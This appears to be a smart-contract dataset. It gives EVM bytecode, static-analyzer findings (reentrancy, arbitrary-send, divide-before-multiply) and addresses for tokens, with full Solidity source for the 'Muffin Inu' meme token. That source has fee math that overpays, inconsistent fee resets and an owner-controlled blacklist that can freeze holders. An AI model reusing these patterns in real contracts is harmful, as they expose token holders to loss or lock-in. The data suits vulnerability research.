000000000000000000000000000000000000000600052604160045260246000fd5b612a6382612738565b810181811067ffffffffffffffff82111715612a8257612a81612a2b565b5b80604052505050565b6000612a956127a4565b9050612aa18282612a5a565b919050565b600067ffffffffffffffff821115612ac157612ac0612a2b565b5b602082029050602081019050919050565b600080fd5b6000612aea612ae584612aa6565b612a8b565b90508083825260208201905060208402830185811115612b0d57612b0c612ad2565b5b835b81811015612b365780612b228882612801565b845260208401935050602081019050612b0f565b5050509392505050565b600082601f830112612b5557612b54612a26565b5b8135612b65848260208601612ad7565b91505092915050565b600060208284031215612b8457612b836127ae565b5b600082013567ffffffffffffffff811115612ba257612ba16127b3565b5b612bae84828501612b40565b91505092915050565b600060208284031215612bcd57612bcc6127ae565b5b6000612bdb84828501612837565b91505092915050565b60008060408385031215612bfb57612bfa6127ae565b5b6000612c0985828601612801565b9250506020612c1a85828601612801565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c5a6020836126f4565b9150612c6582612c24565b602082019050919050565b60006020820190508181036000830152612c8981612c4d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cf982612816565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d2c57612d2b612cbf565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d6d6017836126f4565b9150612d7882612d37565b602082019050919050565b60006020820190508181036000830152612d9c81612d60565b9050919050565b600081519050612db2816127ea565b92915050565b600060208284031215612dce57612dcd6127ae565b5b6000612ddc84828501612da3565b91505092915050565b6000604082019050612dfa60008301856129fc565b612e0760208301846129fc565b9392505050565b6000819050919050565b6000819050919050565b6000612e3d612e38612e3384612e0e565b612e18565b612816565b9050919050565b612e4d81612e22565b82525050565b600060c082019050612e6860008301896129fc565b612e7560208301886128c2565b612e826040830187612e44565b612e8f6060830186612e44565b612e9c60808301856129fc565b612ea960a08301846128c2565b979650505050505050565b600081519050612ec381612820565b92915050565b600080600060608486031215612ee257612ee16127ae565b5b6000612ef086828701612eb4565b9350506020612f0186828701612eb4565b9250506040612f1286828701612eb4565b9150509250925092565b6000604082019050612f3160008301856129fc565b612f3e60208301846128c2565b9392505050565b600081519050612f54816129a3565b92915050565b600060208284031215612f7057612f6f6127ae565b5b6000612f7e84828501612f45565b91505092915050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b6000612fbd601d836126f4565b9150612fc882612f87565b602082019050919050565b60006020820190508181036000830152612fec81612fb0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061304f6024836126f4565b915061305a82612ff3565b604082019050919050565b6000602082019050818103600083015261307e81613042565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130e16022836126f4565b91506130ec82613085565b604082019050919050565b60006020820190508181036000830152613110816130d4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131736025836126f4565b915061317e82613117565b604082019050919050565b600060208201905081810360008301526131a281613166565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006132056023836126f4565b9150613210826131a9565b604082019050919050565b60006020820190508181036000830152613234816131f8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132976029836126f4565b91506132a28261323b565b604082019050919050565b600060208201905081810360008301526132c68161328a565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b60006133036011836126f4565b915061330e826132cd565b602082019050919050565b60006020820190508181036000830152613332816132f6565b9050919050565b600061334482612816565b915061334f83612816565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561338457613383612cbf565b5b828201905092915050565b600061339a82612816565b91506133a583612816565b9250828210156133b8576133b7612cbf565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061341f602a836126f4565b915061342a826133c3565b604082019050919050565b6000602082019050818103600083015261344e81613412565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61348a816127d8565b82525050565b600061349c8383613481565b60208301905092915050565b6000602082019050919050565b60006134c082613455565b6134ca8185613460565b93506134d583613471565b8060005b838110156135065781516134ed8882613490565b97506134f8836134a8565b9250506001810190506134d9565b5085935050505092915050565b600060a08201905061352860008301886128c2565b6135356020830187612e44565b818103604083015261354781866134b5565b905061355660608301856129fc565b61356360808301846128c2565b9695505050505050565b600061357882612816565b915061358383612816565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135bc576135bb612cbf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061360182612816565b915061360c83612816565b92508261361c5761361b6135c7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136836021836126f4565b915061368e82613627565b604082019050919050565b600060208201905081810360008301526136b281613676565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136ef601b836126f4565b91506136fa826136b9565b602082019050919050565b6000602082019050818103600083015261371e816136e2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205abbc60914adc539a9431f3bd9a586fc2e5492f49d9d4095801232f003d96b5b64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,600
0x59dDa2dFc6516A93A6F45aFdeEF73DcF99B82955
// Muffin Inu ($MUFFIN) //Telegram: https://t.me/muffininunew /* # # ### ## ## # # ###### ###### # # # # # # # # # # # # # # # # # ## # # ## # # # # # # # # ##### ##### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ## # # ## # # # # #### # # # # # ### # # #### */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MuffinInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Muffin Inu"; string private constant _symbol = "MUFFIN"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(6).mul(10)); _marketingFunds.transfer(amount.div(4).mul(10)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3500000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610306578063c3c8cd8014610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b6565b6103a1565b005b34801561014657600080fd5b5060408051808201909152600a8152694d756666696e20496e7560b01b60208201525b60405161017691906119fa565b60405180910390f35b34801561018b57600080fd5b5061019f61019a36600461188b565b61044e565b6040519015158152602001610176565b3480156101bb57600080fd5b50670de0b6b3a76400005b604051908152602001610176565b3480156101e057600080fd5b5061019f6101ef36600461184b565b610465565b34801561020057600080fd5b506101386104ce565b34801561021557600080fd5b5060405160098152602001610176565b34801561023157600080fd5b5061013861024036600461197d565b61088f565b34801561025157600080fd5b506101386102603660046117db565b6108d7565b34801561027157600080fd5b50610138610922565b34801561028657600080fd5b506101c66102953660046117db565b61094f565b3480156102a657600080fd5b50610138610971565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610176565b3480156102e357600080fd5b5060408051808201909152600681526526aaa32324a760d11b6020820152610169565b34801561031257600080fd5b5061019f61032136600461188b565b6109e5565b34801561033257600080fd5b506101386109f2565b34801561034757600080fd5b506101386103563660046119b5565b610a28565b34801561036757600080fd5b506101c6610376366004611813565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb90611a4d565b60405180910390fd5b60005b815181101561044a576001600a600084848151811061040657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044281611b60565b9150506103d7565b5050565b600061045b338484610afa565b5060015b92915050565b6000610472848484610c1e565b6104c484336104bf85604051806060016040528060288152602001611bcb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611030565b610afa565b5060019392505050565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016103cb90611a4d565b600f54600160a01b900460ff16156105525760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103cb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058e3082670de0b6b3a7640000610afa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906117f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f91906117f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906117f7565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072f8161094f565b6000806107446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e091906119cd565b5050600f8054660c6f3b40b6c00060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085757600080fd5b505af115801561086b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044a9190611999565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016103cb90611a4d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016103cb90611a4d565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094257600080fd5b4761094c8161106a565b50565b6001600160a01b03811660009081526002602052604081205461045f906110ff565b6000546001600160a01b0316331461099b5760405162461bcd60e51b81526004016103cb90611a4d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610c1e565b600c546001600160a01b0316336001600160a01b031614610a1257600080fd5b6000610a1d3061094f565b905061094c81611183565b6000546001600160a01b03163314610a525760405162461bcd60e51b81526004016103cb90611a4d565b60008111610aa25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103cb565b610abf6064610ab9670de0b6b3a764000084611328565b906113a7565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610bbd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cb565b6001600160a01b038216610ce45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cb565b60008111610d465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6000546001600160a01b03848116911614801590610d7257506000546001600160a01b03838116911614155b15610fd357600f54600160b81b900460ff1615610e59576001600160a01b0383163014801590610dab57506001600160a01b0382163014155b8015610dc55750600e546001600160a01b03848116911614155b8015610ddf5750600e546001600160a01b03838116911614155b15610e5957600e546001600160a01b0316336001600160a01b03161480610e195750600f546001600160a01b0316336001600160a01b0316145b610e595760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103cb565b601054811115610e6857600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eaa57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb357600080fd5b600f546001600160a01b038481169116148015610ede5750600e546001600160a01b03838116911614155b8015610f0357506001600160a01b03821660009081526005602052604090205460ff16155b8015610f185750600f54600160b81b900460ff165b15610f66576001600160a01b0382166000908152600b60205260409020544211610f4157600080fd5b610f4c42600a611af2565b6001600160a01b0383166000908152600b60205260409020555b6000610f713061094f565b600f54909150600160a81b900460ff16158015610f9c5750600f546001600160a01b03858116911614155b8015610fb15750600f54600160b01b900460ff165b15610fd157610fbf81611183565b478015610fcf57610fcf4761106a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101557506001600160a01b03831660009081526005602052604090205460ff165b1561101e575060005b61102a848484846113e9565b50505050565b600081848411156110545760405162461bcd60e51b81526004016103cb91906119fa565b5060006110618486611b49565b95945050505050565b600c546001600160a01b03166108fc61108f600a6110898560066113a7565b90611328565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d7600a6110898560046113a7565b6040518115909202916000818181858888f1935050505015801561044a573d6000803e3d6000fd5b60006006548211156111665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b6000611170611415565b905061117c83826113a7565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122d57600080fd5b505afa158015611241573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126591906117f7565b8160018151811061128657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ac9130911684610afa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e5908590600090869030904290600401611a82565b600060405180830381600087803b1580156112ff57600080fd5b505af1158015611313573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113375750600061045f565b60006113438385611b2a565b9050826113508583611b0a565b1461117c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600061117c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611438565b806113f6576113f6611466565b611401848484611489565b8061102a5761102a6005600855600a600955565b6000806000611422611580565b909250905061143182826113a7565b9250505090565b600081836114595760405162461bcd60e51b81526004016103cb91906119fa565b5060006110618486611b0a565b6008541580156114765750600954155b1561147d57565b60006008819055600955565b60008060008060008061149b876115c0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cd908761161d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fc908661165f565b6001600160a01b03891660009081526002602052604090205561151e816116be565b6115288483611708565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156d91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061159b82826113a7565b8210156115b757505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006115dd8a60085460095461172c565b92509250925060006115ed611415565b905060008060006116008e87878761177b565b919e509c509a509598509396509194505050505091939550919395565b600061117c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611030565b60008061166c8385611af2565b90508381101561117c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b60006116c8611415565b905060006116d68383611328565b306000908152600260205260409020549091506116f3908261165f565b30600090815260026020526040902055505050565b600654611715908361161d565b600655600754611725908261165f565b6007555050565b60008080806117406064610ab98989611328565b905060006117536064610ab98a89611328565b9050600061176b826117658b8661161d565b9061161d565b9992985090965090945050505050565b600080808061178a8886611328565b905060006117988887611328565b905060006117a68888611328565b905060006117b882611765868661161d565b939b939a50919850919650505050505050565b80356117d681611ba7565b919050565b6000602082840312156117ec578081fd5b813561117c81611ba7565b600060208284031215611808578081fd5b815161117c81611ba7565b60008060408385031215611825578081fd5b823561183081611ba7565b9150602083013561184081611ba7565b809150509250929050565b60008060006060848603121561185f578081fd5b833561186a81611ba7565b9250602084013561187a81611ba7565b929592945050506040919091013590565b6000806040838503121561189d578182fd5b82356118a881611ba7565b946020939093013593505050565b600060208083850312156118c8578182fd5b823567ffffffffffffffff808211156118df578384fd5b818501915085601f8301126118f2578384fd5b81358181111561190457611904611b91565b8060051b604051601f19603f8301168101818110858211171561192957611929611b91565b604052828152858101935084860182860187018a1015611947578788fd5b8795505b838610156119705761195c816117cb565b85526001959095019493860193860161194b565b5098975050505050505050565b60006020828403121561198e578081fd5b813561117c81611bbc565b6000602082840312156119aa578081fd5b815161117c81611bbc565b6000602082840312156119c6578081fd5b5035919050565b6000806000606084860312156119e1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2657858101830151858201604001528201611a0a565b81811115611a375783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad15784516001600160a01b031683529383019391830191600101611aac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0557611b05611b7b565b500190565b600082611b2557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4457611b44611b7b565b500290565b600082821015611b5b57611b5b611b7b565b500390565b6000600019821415611b7457611b74611b7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094c57600080fd5b801515811461094c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122043746a1c07682e3a5ed947965df3a97fd307acfc5021d3b155ae64b07371918064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,601
0x02543473ebe34c5c5675f3c9d00912d289259304
